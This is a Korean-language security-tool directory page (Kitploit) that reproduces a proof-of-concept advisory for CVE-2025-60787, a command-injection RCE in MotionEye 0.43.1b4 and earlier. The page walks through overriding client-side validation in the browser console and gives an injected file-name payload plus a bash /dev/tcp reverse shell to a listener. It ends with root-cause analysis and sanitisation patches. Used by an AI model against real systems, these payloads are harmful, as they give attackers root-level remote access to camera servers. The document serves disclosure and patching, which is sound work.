Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-60787 — CVE-2025-60787에 대한 개념 증명(PoC)으로, 클라이언트 측 검증 우회 및 이미지 파일명의 명령 주입을 통해 MotionEye <= 0.43.1b4에서 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/prabhatverma47/cve-2025-60787
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

CVE-2025-60787에 대한 개념 증명(PoC)으로, 클라이언트 측 검증 우회 및 이미지 파일명의 명령 주입을 통해 MotionEye <= 0.43.1b4에서 원격 코드 실행을 시연합니다.

저장소 보기
511개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
원본 링크: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

클라이언트 측 검증 우회를 통한 MotionEye RCE

요약

Docker에서 실행 중인 MotionEye 인스턴스의 보안 테스트 중 웹 UI 내 클라이언트 측 검증이 우회될 수 있음을 확인했습니다. 이를 통해 호스트 컨테이너에서 실행을 트리거할 수 있는 페이로드를 포함한 임의 입력이 제출될 수 있습니다. 이 문제는 악용될 경우 원격 코드 실행(RCE) 위험을 초래합니다.

영향받는 버전: 0.43.1b4를 포함한 모든 버전
패치 상태: 아직 패치가 없습니다. 이 권고에 해결 방법이 제공됩니다.
프로젝트 참조: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


환경

  • 대상: Docker에서 실행 중인 MotionEye
  • 이미지: ghcr.io/motioneye-project/motioneye:edge
  • 노출 포트: 컨테이너의 8765에 매핑된 9999
  • 테스트 자격 증명: admin / 빈 비밀번호(기본값)

  • 재현 단계

    1. 컨테이너 설정

    다음 명령을 실행하여 Docker 이미지 다운로드를 시작하고 컨테이너를 시작합니다.

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. 버전 확인

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    결과: MotionEye 서버 0.43.1b4 image

    3. 파일 시스템 접근

    Docker 컨테이너가 실행되면 다음 명령을 사용하여 컨테이너 셸에 접근할 수 있습니다.

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. 초기 접근

    다음 주소에서 웹 인터페이스에 접근합니다:
    http://127.0.0.1:9999
    로그인: admin (빈 비밀번호)

    5. 카메라 설정

    샘플 RTSP 네트워크 카메라를 추가했습니다.
    image

    6. 주입 시도

    "정지 이미지" > "이미지 파일 이름"에 악성 실행 명령을 입력했지만 클라이언트 측 검증 오류가 발생했습니다.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    클라이언트 측 검증에 의해 차단되었습니다.
    image

    image

    7. 클라이언트 측 검증 발견

    검증을 담당하는 스크립트는 /static/js/main.js?v=0.43.1b4이며, 이 스크립트는 /static/js/ui.js?v=0.43.1b4를 참조하여 검증 조건을 구현합니다.

    파일: /static/js/main.js?v=0.43.1b4가 /static/js/ui.js?v=0.43.1b4를 참조

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. 우회 기법

    브라우저 콘솔에서 configUiValid 함수를 재정의하면 모든 검증 검사를 우회할 수 있습니다: 브라우저 콘솔(F12 또는 Ctrl+Shift+I)에 아래 코드 조각을 입력합니다.

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. 페이로드 실행

    이제 검증 없이 페이로드를 직접 입력할 수 있습니다: 아래와 같이 설정하고 설정을 적용합니다.

    설정:

    • 캡처 모드 = 간격 스냅샷
    • 간격 = 10
    • 이미지 파일 이름:
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    적용됨 → root 권한으로 파일이 생성되었습니다.

    image

    영향: RCE 무기화

    간단한 리버스 셸 생성:

    리스너:

    root@kitploit:~
    nc -lvnp 4444
    
    image

    주입된 페이로드:

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    결과: 원격 셸 획득.


    근본 원인 및 흐름

    MotionEye는 웹 대시보드에서 사용자 입력을 받아 위험한 문자를 확인하지 않고 Motion 구성 파일에 직접 기록하기 때문에 취약합니다. 예를 들어, UI의 image_file_name 필드는 백엔드(config.py)로 전송되어 /etc/motioneye/camera-.conf에 저장됩니다. MotionEye가 Motion 서비스를 다시 시작하면(motionctl.start) Motion 프로세스가 이 구성 파일을 읽습니다. picture_filename 필드에 $(touch /tmp/test)와 같은 셸 구문이 포함된 경우, Motion은 이를 파일 이름의 일부로 처리하는 대신 실제 명령으로 실행합니다.

    Motion 구성 파일에 기록된 무결화 입력:
    대시보드 JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion이 picture_filename을 파싱 → 페이로드 실행


    예방

    무결화 수정

    파일: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    무결화 적용:

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    수정 전: image 수정 후: image


    대체 해결 방법

    1단계: Docker 실행

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    2단계: 컨테이너 접근

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    3단계: 구성 수정

    원본:

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    다음으로 교체:

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    4단계: 재시작

    root@kitploit:~
    docker restart motioneye
    
    image

    대체 패치

    motion_camera_ui_to_dict(...) 내부:

    원본:

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    다음으로 교체:

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

    도구 다운로드